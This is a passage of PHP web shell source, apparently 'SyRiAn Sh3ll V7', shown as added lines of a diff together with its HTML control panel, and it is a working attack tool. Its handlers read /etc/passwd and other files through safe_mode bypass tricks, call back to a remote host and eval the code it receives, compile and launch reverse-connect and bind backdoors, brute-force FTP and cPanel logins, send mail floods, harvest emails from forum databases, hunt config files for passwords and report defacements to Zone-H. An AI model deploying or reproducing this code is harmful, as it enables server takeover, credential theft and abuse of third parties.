GenerateFile("ini.php"," + ini_restore(\"safe_mode\"); + ini_restore(\"open_basedir\"); + "); + echo "ini.php Has Been Generated Successfully"; + } + # -------------------------- + # Reading Files + #--------------------------- + else if($_POST['read'] || $_POST['show']) + { + $file = $_POST['file']; + $file = str_replace('\\\\','\\',$file); + + if($_POST['read']) + { + $openMyFile = fopen($file,'r'); + if(function_exists('fread')) + { + echo fread($openMyFile,100000); + } + elseif(function_exists('fgets')) + { + echo fgets($openMyFile); + } + elseif(function_exists('readfile')) + { + echo readfile($openMyFile); + } + elseif(function_exists('file_get_contents')) + { + $readMyFile = @file_get_contents($file, NULL, NULL, 0, 1000000); + var_dump($readMyFile); + } + elseif(function_exists('file')) + { + $readMyFile = file($myFile); + foreach ($readMyFile as $line_num => $readMyFileLine) + { + echo "Line #$line_num : " . $readMyFileLine . " + "; + } + } + elseif(Exe("'cat ".$file."'")) + { + echo Exe("'cat ".$file."'"); + } + elseif(function_exists('readfile')) + { + readfile($file); + } + elseif(function_exists('include')) + { + include($file); + } + elseif(function_exists('copy')) + { + $tmp=tempnam('','cx'); + copy('compress.zlib://'.$file,$tmp); + $fh=fopen($tmp,'r'); + $data=fread($fh,filesize($tmp)); + fclose($fh); + echo $data; + } + elseif(function_exists('mb_send_mail')) + { + if(file_exists('/tmp/mb_send_mail')) + { + unlink('/tmp/mb_send_mail'); + } + @mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail'); + @readfile('/tmp/mb_send_mail'); + } + else if(function_exists('curl_init')) + { + $fh=curl_init('file://'.$file.''); + $tmp=curl_exec($fh); + echo $tmp; + if(strstr($file,DIRECTORY_SEPARATOR)) + $ch=curl_init('file:///'.$file."\x00/../../../../../../../../../../../../".__FILE__); + else $ch=curl_init('file://'.$file."\x00".__FILE__); + var_dump(curl_exec($ch)); + } + else if(is_writable('.')) + { + file_put_contents('php.ini','safe_mode = Off'); + readfile($file); + unlink('php.ini'); + } + else if(is_object($ws=new COM('WScript.Shell'))) + { + echo $exec=comshelL("type \"$file\"",$ws); + } + else if(checkfunctioN('win_shell_execute')) + { + echo winshelL("type \"$file\""); + } + else if(checkfunctioN('win32_create_service')) + { + echo srvshelL("type \"$file\""); + } + else if(function_exists('imap_open')) + { + $str=imap_open('/etc/passwd','',''); + $list=imap_list($str,$file,'*'); + for($i=0;$i<count($list);$i++) + { + echo $list[$i]."\n"; + } + imap_close($str); + $str=imap_open($file,'',''); + $tmp=imap_body($str,1); + echo $tmp; + imap_close($str); + } + elseif($file == '/etc/passwd') + { + for($uid=0;$uid<99999;$uid++) + { + $h=posix_getpwuid($uid); + if(!empty($h)) + foreach($h as $v) + echo "$v:"; + echo "\r\n"; + } + } + fclose($openMyFile); + } + elseif($_POST['show']) + { + $con=glob("$file*"); + foreach ($con as $v) + { + echo "$v\n"; + } + if(function_exists('imap_open')) + { + $str=imap_open('/etc/passwd','',''); + $s=explode("|",$file); + if(count($s)>1) + { + $list=imap_list($str,trim($s[0]),trim($s[1])); + } + else + { + $list=imap_list($str,trim($str[0]),'*'); + } + for($i=0;$i<count($list);$i++) + { + imap_close($str); + } + } + else if(is_object($ws=new COM('WScript.Shell'))) + { + $exec=comshelL("dir \"$file\"",$ws); + $exec=str_replace("\t",'',$exec); + echo $exec; + } + else if(checkfunctioN('win_shell_execute')) + { + echo winshelL("dir \"$file\""); + } + else if(checkfunctioN('win32_create_service')) + { + echo srvshelL("dir \"$file\""); + } + } + + } + # -------------------------- + # Encryption + #--------------------------- + elseif($_POST['encryptNow']) + { + if(!empty($_POST['ENCRYPTION'])) + { + $md5 = $_POST['ENCRYPTION']; + echo " +MD5 : ".md5($md5)." +Base64 Encode : ".base64_encode($md5)." +Base64 Decode : ".base64_decode($md5)." +Crypt : ".crypt($md5)." +SHA1 : ".sha1($md5)." +MD4 : ".hash("md4",$md5)." +SHA256 : ".hash("sha256",$md5)." +URL Encoding : ".urlencode($md5)." +URL Decoding : ".str_hex($md5)." +CRC32 : ".crc32($md5)." +Length : ".strlen($md5).""; + } + else + { + echo "Please Put At Least One Char !"; + } + } + # -------------------------- + # Metasploit RC + #--------------------------- + else if($_POST['metaConnect']) + { + $ip = $_POST['ip']; + $port = $_POST['port']; + if ($ip == "" && $port == "") + { + echo "Please fill IP Adress & The listen Port"; + } + else + { + $ipaddr = $ip; + $port = $port; + if (FALSE !== strpos($ipaddr, ":")) + { + $ipaddr = "[". $ipaddr ."]"; + } + if (is_callable('stream_socket_client')) + { + $msgsock = @stream_socket_client("tcp://{$ipaddr}:{$port}"); + if (!$msgsock) + { + die(); + } + $msgsock_type = 'stream'; + } + elseif (is_callable('fsockopen')) + { + $msgsock = fsockopen($ipaddr,$port); + if (!$msgsock) + { + die(); + } + $msgsock_type = 'stream'; + } + elseif (is_callable('socket_create')) + { + $msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); + $res = socket_connect($msgsock, $ipaddr, $port); + if (!$res) + { + die(); + } + $msgsock_type = 'socket'; + } + else + { + die(); + } + switch ($msgsock_type) + { + case 'stream': $len = fread($msgsock, 4); break; + case 'socket': $len = socket_read($msgsock, 4); break; + } + if (!$len) + { + die(); + } + $a = unpack("Nlen", $len); + $len = $a['len']; + $buffer = ''; + while (strlen($buffer) < $len) + { + switch ($msgsock_type) + { + case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); + break; + case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer)); + break; + } + } + eval($buffer); + echo "[*] Connection Terminated"; + die(); + } + } + # -------------------------- + # Scan Ports + #--------------------------- + else if($_POST['submitDomainToScanPort']) + { + $domainToScan = $_POST['domainToScanPort']; + if(!$domainToScan) + { + echo "[-] Enter IP Address Or Domain To Scan"; + } + else + { + for($i=0;$i<1024;$i++) + { + $fp = @fsockopen($domainToScan,$i,$errno,$errstr,10); + if($fp) + { + echo "[+] port " . $i . " open on " . $domainToScan . " +"; + } + else + { + echo "[+] port " . $i . " closed on " . $domainToScan . " +"; + } + flush(); + } + fclose($fp); + } + } + + if (isset($_POST["submit_lol"])) + { + set_time_limit(0); + $url = $_POST['hash_lol']; + echo "Testing ".$url."\n"; + $extention = $_POST['extention']; + $adminlocales = array( +"admin/", +"wp-admin/", +"administration/", +"administrator/", +"moderator/", +"webadmin/", +"adminarea/", +"bb-admin/", +"adminLogin/", +"admin_area/", +"panel-administracion/", +"instadmin/", +"memberadmin/", +"administratorlogin/", +"adm/", +"siteadmin/login".$extention."", +"admin/account".$extention."", +"admin/index".$extention."", +"admin/login".$extention."", +"admin/admin".$extention."", +"admin_area/login".$extention."", +"admin_area/index".$extention."", +"admincp/index".$extention."", +"adminpanel".$extention."", +"webadmin".$extention."", +"webadmin/index".$extention."", +"webadmin/login".$extention."", +"admin/admin_login".$extention."", +"admin_login".$extention."", +"panel-administracion/login".$extention."", +"admin_area/admin".$extention."", +"bb-admin/index".$extention."", +"bb-admin/login".$extention."", +"bb-admin/admin".$extention."", +"admin/home".$extention."", +"pages/admin/admin-login".$extention."", +"admin/admin-login".$extention."", +"admin-login".$extention."", +"admin/adminLogin".$extention."", +"home".$extention."", +"adminarea/index".$extention."", +"admin/controlpanel".$extention."", +"admin".$extention."", +"admin/cp".$extention."", +"cp".$extention."", +"adminpanel.php", +"moderator".$extention."", +"administrator/index".$extention."", +"administrator/login".$extention."", +"user".$extention."", +"administrator/account".$extention."", +"administrator".$extention."", +"login".$extention."", +"modelsearch/login".$extention."", +"moderator/login".$extention."", +"panel-administracion/admin".$extention."", +"admincontrol/login".$extention."", +"adm/index".$extention."", +"moderator/admin".$extention."", +"account".$extention."", +"controlpanel".$extention."", +"admincontrol".$extention."", +"webadmin/admin".$extention."", +"adminLogin".$extention."", +"panel-administracion/login".$extention."", +"wp-login".$extention."", +"adminLogin".$extention."", +"admin/adminLogin".$extention."", +"adminarea/index".$extention."", +"adminarea/admin".$extention."", +"adminarea/login".$extention."", +"panel-administracion/index".$extention."", +"modelsearch/index".$extention."", +"modelsearch/admin".$extention."", +"adm/admloginuser".$extention."", +"admloginuser".$extention."", +"admin2".$extention."", +"admin2/login".$extention."", +"admin2/index".$extention."", +"adm/index".$extention."", +"adm".$extention."", +"affiliate".$extention."", +"adm_auth".$extention."", +"memberadmin".$extention."", +"administratorlogin".$extention.""); + foreach ($adminlocales as $admin) + { + $headers = @get_headers("$url$admin"); + if (@eregi('200', $headers[0])) + { + echo "[+] $url$admin ~ Found!\n"; + } + + } + } + # -------------------------- + # Config Finder + #--------------------------- + else if($_POST['configFinderSubmit']) + { + set_time_limit(0); + $passwd=fopen('/etc/passwd','r'); + if (!$passwd) + { + echo "[-] Error : coudn't read /etc/passwd"; + exit; + } + $path_to_public=array(); + $users=array(); + $pathtoconf=array(); + $i=0; + while(!feof($passwd)) + { + $str=fgets($passwd); + if ($i>35) + { + $pos=strpos($str,":"); + $username=substr($str,0,$pos); + $dirz="/home/$username/public_html/"; + if (($username!="")) + { + if (is_readable($dirz)) + { + array_push($users,$username); + array_push($path_to_public,$dirz); + } + } + } + $i++; + } + echo ""; + echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd + "; + echo "[+] Founded ".sizeof($path_to_public)." readable public_html directories + "; + echo "[~] Searching for passwords in config.* files... + "; + foreach ($users as $user) + { + $path="/home/$user/public_html/"; + read_dir($path,$user); + } + echo "[+] Done"; + } + # -------------------------- + # Mail Storm + #--------------------------- + else if($_POST['sendMailStorm']) + { + $to=$_POST['to']; + $nom=$_POST['nom']; + $Comments=$_POST['Comments']; + if ($to <> "" ) + { + for ($i = 0; $i < $nom ; $i++) + { + $from = rand (71,1020000000)."@"."Attacker.com"; + $subject= md5("$from"); + if(@mail($to,$subject,$Comments,"From:$from")) + echo "[+] $i spammed !! +"; + else + { + echo "[-] $i Failed !! +"; + } + } + } + } + # -------------------------- + # Extract Emails + #--------------------------- + else if($_POST['getEmails']) + { + $emhost = $_POST['EM_HOST']; + $emuser = $_POST['EM_USER']; + $empass = $_POST['EM_PASS']; + $emdb = $_POST['EM_DB']; + $emtab = $_POST['EM_TABLE']; + $emcol = $_POST['EM_COLUMN']; + $try2Connect = @mysql_connect($emhost,$emuser,$empass); + if(!$try2Connect) + { + echo "[-] Can't Connect To DB !! [ user name || password is wrong ! ] . +"; + } + $try2Select = @mysql_select_db($emdb); + if(!$try2Select && $try2Connect) + { + echo "[-] DB Name is Wrong !! . "; + } + $sql = @mysql_query("SELECT * FROM $emtab"); + while ($res = @mysql_fetch_array($sql)) + { + echo ''.$res["$emcol"].' +'; + } + } + // Help + else if($_POST['emailExtractorHelp']) + { + echo "This is Some Tables Name & Columns Name For Some Fam Scripts .. + +[+] VBulletin +Table-name : user +column-name : email + +[+] WordPress +Table-name : wp_users +column-name : user_email + +[+] Joomla +Table-name : jos_users +column-name : email + +[+] PHPBB +Table-name : phpbb_users +column-name : user_email + +[+] I.P.Board +Table-name : ibf_members +column-name : email + +[+] SMF +Table-name : smf_members +column-name : emailAddress "; + } + # -------------------------- + # MySQL Query + #--------------------------- + else if($_POST['MySQLQuery']) + { + $qu_host =$_POST['QU_HOST']; + $qu_user =$_POST['QU_USER']; + $qu_pass =$_POST['QU_PASS']; + $qu_db =$_POST['QU_DB']; + $query =$_POST['QU']; + if (empty($_POST['QU_HOST'])) + $qu_host = 'localhost'; + $query = str_replace("\\","",$query); + if (!empty($_POST['QU'])) + { + $tryConnection = @mysql_connect($qu_host,$qu_user,$qu_pass); + if(!$tryConnection) + { + echo "[-] Unable TO Connect DATABASE ! Username Or Password Is Wrong !!"; + } + else + { + $selectDB = @mysql_select_db($qu_db); + if(!$selectDB) + { + echo "[-] Database Name Is Wrong !!"; + } + else + { + $qqok1 = mysql_query($query); + if(!$qqok1) + { + echo "[-] Can't Execute The Query"; + } + } + } + @mysql_close(); + } + if ($qqok1) + { + update(); + } + } + # -------------------------- + # SQL Reader + #--------------------------- + else if ($_POST['sql2Read']) + { + $host = $_POST['host']; + $user = $_POST['user']; + $pass = $_POST['pass']; + $db = $_POST['db']; + $unique = uniqid('N'); + $file = $_POST['file']; + $file = str_replace('\\\\','\\',$file); + $query = array( + "CREATE TEMPORARY TABLE $unique (file LONGBLOB)", + "LOAD DATA INFILE '".mysql_real_escape_string($file)."' INTO TABLE $unique", + "SELECT * FROM $unique" + ); + $connect = mysql_connect($host,$user, $pass); + mysql_select_db($db,$connect); + foreach($query as $Allqueries) + { + $mysqlQuery = mysql_query($Allqueries,$connect); + while($line = @mysql_fetch_row($mysqlQuery)) + echo htmlspecialchars($line[0]); + echo "\n"; + } + } + # -------------------------- + # Edit File + #--------------------------- + else if($_POST['editFileSubmit']) + { + $file2Edit = $_POST['editFile']; + echo @file_get_contents($file2Edit); + } + else if($_POST['saveEditedFile']) + { + $fileName = $_POST['file2edit']; + $newFile = $_POST['ExecutionArea']; + $trytoGenerate = GenerateFile($fileName,$newFile); + if($trytoGenerate) + { + echo "[+] File Saved !"; + } + else + { + echo "[-] Failed To Save File !!"; + } + } + # -------------------------- + # Zone H Attacker + #--------------------------- + else if($_POST['SendNowToZoneH']) + { + ob_start(); + $sub = @get_loaded_extensions(); + if(!in_array("curl", $sub)) + { + die('[-] Curl Is Not Supported !! '); + } + + $hacker = $_POST['defacer']; + $method = $_POST['hackmode']; + $neden = $_POST['reason']; + $site = $_POST['domain']; + + if (empty($hacker)) + { + die ("[-] You Must Fill the Attacker name !"); + } + elseif($method == "--------SELECT--------") + { + die("[-] You Must Select The Method !"); + } + elseif($neden == "--------SELECT--------") + { + die("[-] You Must Select The Reason"); + } + elseif(empty($site)) + { + die("[-] You Must Inter the Sites List ! "); + } + $i = 0; + $sites = explode("\n", $site); + while($i < count($sites)) + { + if(substr($sites[$i], 0, 4) != "http") + { + $sites[$i] = "http://".$sites[$i]; + } + ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]); + echo "Site : ".$sites[$i]." Defaced !\n"; + ++$i; + } + echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! "; + } + # -------------------------- + # FTP And Cpanle Brute Force Attacker + #--------------------------- + else if($_POST['BruteForceCpanelAndFTP']) + { + $connect_timeout=5; + set_time_limit(0); + $submit=$_REQUEST['BruteForceCpanelAndFTP']; + $users=$_REQUEST['users']; + $pass=$_REQUEST['passwords']; + $target=$_REQUEST['target']; + $cracktype=$_REQUEST['cracktype']; + + if(empty($target)) + { + $target = "localhost"; + } + + function ftp_check($host,$user,$pass,$timeout) + { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, "ftp://$host"); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); + curl_setopt($ch, CURLOPT_FTPLISTONLY, 1); + curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); + curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); + curl_setopt($ch, CURLOPT_FAILONERROR, 1); + $data = curl_exec($ch); + if ( curl_errno($ch) == 28 ) + { + print "Error : Connection Timeout Please Check The Target Hostname ."; + exit; + } + elseif ( curl_errno($ch) == 0 ) + { + print "[+] Cracking Success With Username ($user) and Password ($pass)"; + } + curl_close($ch); + } + function cpanel_check($host,$user,$pass,$timeout) + { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, "http://$host:2082"); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); + curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); + curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); + curl_setopt($ch, CURLOPT_FAILONERROR, 1); + $data = curl_exec($ch); + if ( curl_errno($ch) == 28 ) + { + print "[-] Connection Timeout Please Check The Target Hostname ."; + exit; + } + elseif ( curl_errno($ch) == 0 ) + { + print "[+] Cracking Success With Username ($user) and Password ($pass)"; + } + curl_close($ch); + } + if(isset($submit) && !empty($submit)) + { + if(empty($users) && empty($pass)) + { + print "[-] Please Check The Users or Password List Entry . . ."; + } + if(empty($users)) + { + print "[-] Please Check The Users List Entry . . ."; + } + if(empty($pass)) + { + print "[-] Please Check The Password List Entry . . "; + } + $userlist=explode("\n",$users); + $passlist=explode("\n",$pass); + print "[~]# Cracking Process Started, Please Wait ..."; + foreach ($userlist as $user) + { + $pureuser = trim($user); + foreach ($passlist as $password ) + { + $purepass = trim($password); + if($cracktype == "ftp") + { + ftp_check($target,$pureuser,$purepass,$connect_timeout); + } + if ($cracktype == "cpanel") + { + cpanel_check($target,$pureuser,$purepass,$connect_timeout); + } + } + } + } + } + # -------------------------- + # Back Connection + #--------------------------- + else if($_POST['backconn']) + { + if (!empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) + { + $ip = trim($_POST['ip']); + $port = trim($_POST['backport']); + tulis("bcc.c",$back_connect_c); + Exe('gcc -o bcc bcc.c'); + Exe('chmod 777 bcc'); + @unlink('bcc.c'); + Exe("./bcc ".$ip." ".$port." &"); + $msg = "Now script try connect to ".$ip." port ".$port." ..."; + } + elseif (!empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) + { + $ip = trim($_POST['ip']); + $port = trim($_POST['backport']); + tulis("bcp",$back_connect); + Exe("chmod +x bcp"); + $p2=which("perl"); + Exe($p2." bcp ".$ip." ".$port." &"); + $msg = "Now script try connect to ".$ip." port ".$port." ..."; + } + } + # -------------------------- + # Bind Connection + #--------------------------- + else if($_POST['bind']) + { + if (!empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) + { + $port = trim($_POST['port']); + $passwrd = trim($_POST['bind_pass']); + tulis("bdc.c",$port_bind_bd_c); + Exe('gcc -o bdc bdc.c'); + Exe('chmod 777 bdc'); + @unlink("bdc.c"); + Exe("./bdc ".$port." ".$passwrd." &"); + $scan = Exe("ps aux"); + if(eregi("./bdc $por",$scan)) + { + $msg = "Process found running, backdoor setup successfully."; + } + else + { + $msg = "Process not found running, backdoor not setup successfully."; + } + } + + elseif (!empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) + { + $port = trim($_POST['port']); + $passwrd = trim($_POST['bind_pass']); + tulis("bdp",$port_bind_bd_pl); + Exe("chmod 777 bdp"); + $p2=which("perl"); + Exe($p2." bdp ".$port." &"); + $scan = Exe("ps aux"); + if(eregi("$p2 bdp $port",$scan)) + { + $msg = "Process found running, backdoor setup successfully."; + } + else + { + $msg = "Process not found running, backdoor not setup successfully."; + } + } + } + + + echo "</textarea>"; + if($_POST['editFileSubmit']) + { + echo "<input type='hidden' value='".$_POST['editFile']."' name='file2edit' /> "; + echo "<input type='submit' value='Save' name='saveEditedFile'>"; + } + echo "</form> + + <!-- Main Table --> + <table width='100%'><tr> + <td width='30%' height=30> + <!-- End Of Main Table --> + <!-- Commands Alias--> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Commands Alias </td></tr><tr><td height='45' colspan='2'>";SelectCommand($os); echo "<input + +name='submitCommands' type='submit' value='ExecuteCommand'></td></tr></table></form> + <!-- End Of Commands Alias--> + </td> + <td width='30%' height=30> + <!-- Command Line --> + <form method='POST'> + <table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Command Line </td></tr><tr><td height='45' colspan='2'> + <input type='text' name='cmd' id='commandLine' value='dir' size=59> + <input type='text' name='directory' value=".getcwd()." size=59> + <input name='Execute' id='Execute' type='submit' value='Execute' > + </td></tr></table></form> + <!-- End Of Command Line --> + </td> + <td width='30%' height=30> + <!-- Edit File --> + <form method=POST> + <table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Edit File </td></tr><tr><td height='45' colspan='2'> + <input type='text' name='editFile' size=59> + <input name='editFileSubmit' type='submit' value='Edit'> + </td></tr></table></form> + <!-- End Of Edit File --> + </td> + </tr> + <tr> + <td width='30%'> + <!-- Chmod Force --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Change Mode </td></tr><tr><td height='45' colspan='2'> + <input type='text' name='fileName' value='index.php' size=48> + <br/><input type='text' name='per' value='0644' size='10'> + <input type=submit value='Change Now !' name='changePermission'> + </td></tr></table></form> + <!-- End Of Chmod Force --> + </td> + <td> + <!-- Get File --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Get File </td></tr><tr><td height='45' colspan='2'> + <input type='text' name='fileUrl' size='59' value='http://www.'> + <select name=getType> + <option value=wget>wget</option> + <option value='curl -o'>curl -o</option> + <option value=get>get</option> + <option value='lynx -source'>lynx -source</option> + </select> + <input name=getFile type=submit value='Get File' > + </td></tr></table></form> + <!-- End Of Get File --> + </td> + <td> + <!-- Bind Connection --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Bind Connection </td></tr><tr><td height='45' colspan='2'> + <input class='inputz' type='text' name='bind_pass' size='26' value='".gethostbyname($_SERVER["HTTP_HOST"])."'> + <input type='text' name='port' size='26' value='443'> + <select class='inputz' size='1' name='use'> + <option value='Perl'>Perl</option><option value='C'>C</option> + </select> + <input class='inputzbut' type='submit' name='bind' value='Bind' style='width:120px'> + </td></tr></table></form> + <!-- End Of Bind Connection --> + </td> + </tr> + <tr> + <td> + <!-- CGI perl --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>CGI Perl </td></tr><tr><td height='45' colspan='2'> + <input type='text' value='".getcwd()."' name='cgiperlPath' size='43'> + <input type='submit' name='generatePel' value='Generate'></td></tr></table></form> + <!-- End Of CGI perl --> + </td><td> + <!-- Forbidden --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Forbidden </td></tr><tr><td height='45' colspan='2'> + <input type='text' value='".getcwd()."' name='forbiddenPath' size='70%'/> + <select name='403'> + <option value='DirectoryIndex'>DirectoryIndex</option> + <option value='HeaderName'>HeaderName</option> + <option value='TXT'>TXT</option> + <option value='404'>404</option> + <option value='ReadmeName'>ReadmeName</option> + <option value='footerName'>footerName</option> + </select> + <input type='submit' value='Generate' name='generateForbidden'> + </td></tr></table></form> + <!-- End Of Forbidden --> + </td> + <td> + <!-- Back Connection --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Back Connection </td></tr><tr><td height='45' colspan='2'> + <input type='text' name='ip' size='26' value='".GetRealIP()."'> + <input type='text' name='backport' size='26' value='443'> + <select name='use'> + <option value='Perl'>Perl</option> + <option value='C'>C</option> + </select> + <input type='submit' name='backconn' value='Connect'> + </td></tr></table></form> + <!-- End Of Back Connection --> + </td> + </tr> + <tr> + <td> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Hash Analyzer </td></tr><tr><td height='45' colspan='2'> + <input type='text' name='hashToAnalyze' size=60> + <input type='submit' value='Analyze Now' name='analyzieNow'></td></tr></table></form> + </td> + <td> + <!-- Eval Code --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Eval Code </td></tr><tr><td height='45' colspan='2'> + <input type='text' name='php_eval' size='70' value='echo \"SyRiAn Sh3ll V7\";'> + <input type=submit name=submitEval value=Eval></td></tr></table></form> + <!-- End Of Eval Code --> + </td> + <td> + <!-- Users & Domains --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Users & Domains </td></tr><tr><td height='45' colspan='2'> + <input type='text' name='usersPath' value='".getcwd()."' size='55'/> + <input type='submit' name='GenerateUsers' Value='Generate'> + <!-- End Of Users & Domains --> + </td></tr></table></form> + </td> + </tr> + <tr> + <td> + <!-- Reading Files --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Reading Files & Dir Using PHP Bugs </td></tr><tr><td height='45' colspan='2'> + <input type='text' value='/etc/passwd' name='file' size=35> + <input class='buttons' type='submit' name='read' value='Read File'> + <input class='buttons' type='submit' name='show' value='Show directory'> + </td></tr></table></form> + <!-- End Of Reading Files --> + </td> + <td> + <!--Encryption --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Encryption </td></tr><tr><td height='45' colspan='2'> + <input type='text' value='SyRiAn_Sh3ll' name='ENCRYPTION' size='80%'> + <input type='submit' value='Encrypt' name='encryptNow'> + </td></tr></table></form> + <!-- End Of Encryption --> + </td> + <td> + <!-- Metasploit RC --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Metasploit Connection </td></tr><tr><td height='45' colspan='2'> + <input type='text' size='15' name='ip' value='127.0.0.1'> + <input type='text' size='5' name='port' value='443'> + <input type='submit' value='Connect' name='metaConnect'> + </td></tr></table></form> + <!-- End Of Metasploit RC --> + </td> + </tr> + <tr> + <td> + <!-- DDOS Attacker --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>DDOS Attacker </td></tr><tr><td height='45' colspan='2'> + <input type='text' name='ipToAttack' size='40' value='Target IP'> + <input type='text' name='portToAttack' size='20' value='Target PORT'> + <input type='submit' name='StartAttack' value='Attack'> + </td></tr></table></form> + <!-- End Of DDOS Attacker --> + </td> + <td> + <!-- Ports Scanner --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Ports Scanner </td></tr><tr><td height='45' colspan='2'> + <input type='text' name='domainToScanPort' size='50' value='172.0.0.1'> <input type='submit' name='submitDomainToScanPort' Value='Scan Now'> + </td></tr></table></form> + <!-- End Of Ports Scanner --> + </td> + <td> + <!-- ACP Finder --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>ACP Finder </td></tr><tr><td height='45' colspan='2'> + <input name='hash_lol' class='textbox' type='text' size='30' value='http://www.example.com/'/> + <input type='text' value='.php' name='extention'/> + <input name='submit_lol' class='textbox' value='Brute Force Now' type='submit'> + <!-- End Of ACP Finder --> + </td></tr></table></form> + </td> + </tr> + + <tr> + <br> + <td valign='top'> + <!-- Server ShortCut --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Server ShortCut </td></tr><tr><td height='45' colspan='2'> + <input type='text' value='".getcwd()."' size='68' name='ShourtCutPath'> + <input type='submit' name='generateSER' value=' Generate '> + </td></tr></table></form> + <!-- End Of Server ShoutCut --> + </td> + <td valign='top'> + <!-- Fast Tools --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Fast Tools </td></tr><tr><td height='45' colspan='2'> + <input type=submit value='Generate .HTAccess' name='htaccessGenerate'> + <input type=submit value='Generate php.ini' name='phpiniGenerate'> + <input type=submit value='Generate ini.php' name='iniphpGenerate'><br/><br/> + <input type='submit' value='Finding Config Files' name='configFinderSubmit' /> + <input type='submit' name='showUsers' value='Show Users' /> + </td></tr></table></form> + <!-- End Of Fast Tools --> + </td> + <td valign='TOP'> + <!-- SQL Reader --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>SQL Reader</td></tr><tr><td height='45' colspan='2'> + <input type='text' value='/etc/passwd' name='file' size='35'><br/> + <input type='text' name='host' value='127.0.0.1'> + <input type='text' name='user' value='DB user'> + <input type='text' name='pass' value='DB pass'> + <input type=text name='db' value='DB name'> + <input type='submit' name='sql2Read' value='Read'> + "; + if($sql_con) + { + echo '<input style="width:300px;" type="text" name="filetoread"> + <input type="submit" value="Read" name="SQLToRead">'; + } + echo "</td></tr></table></form> + <!-- End Of SQL Reader --> + </td> + </tr> + <tr> + <td valign='top'> + <!-- Mail Storm --> + <form method=POST><table width='100%' height='72' border='0' id='Box'><tr> + <td width='12' height='21' style='background-color:".$shellColor."'>&nbsp;</td> + <td style='background-color:#666;padding-left:10px;'>Mail Storm 